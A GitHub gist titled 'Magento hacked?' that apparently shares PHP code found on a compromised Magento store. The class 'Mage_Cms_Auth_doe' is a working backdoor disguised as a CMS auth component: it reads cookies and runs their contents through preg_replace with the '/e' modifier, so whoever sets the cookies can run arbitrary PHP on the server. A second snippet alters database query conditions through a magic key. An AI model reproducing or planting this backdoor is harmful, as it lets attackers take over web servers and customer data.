Skip to content

Instantly share code, notes, and snippets.

@klein0r
Last active August 29, 2015 14:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save klein0r/6834ec75c6352e717ca5 to your computer and use it in GitHub Desktop.
Save klein0r/6834ec75c6352e717ca5 to your computer and use it in GitHub Desktop.
Magento hacked?
class Mage_Cms_Auth_doe
{
public function __construct() {
$auth_cookie = @$_COOKIE['pwreoizidwmpnyjv3'];
if ($auth_cookie) {
$method = $auth_cookie(@$_COOKIE['pwreoizidwmpnyjv2']);
$auth = $auth_cookie(@$_COOKIE['pwreoizidwmpnyjv1']);
$method("/124/e",$auth,124);
}
}
}
$is_auth = new Mage_Cms_Auth_doe;
if (isset($condition['pwreoizidwmpnyjv'])) {
$fieldName = str_replace('#?', $this->quoteIdentifier($fieldName), $condition['pwreoizidwmpnyjv']);
unset($condition['pwreoizidwmpnyjv']);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment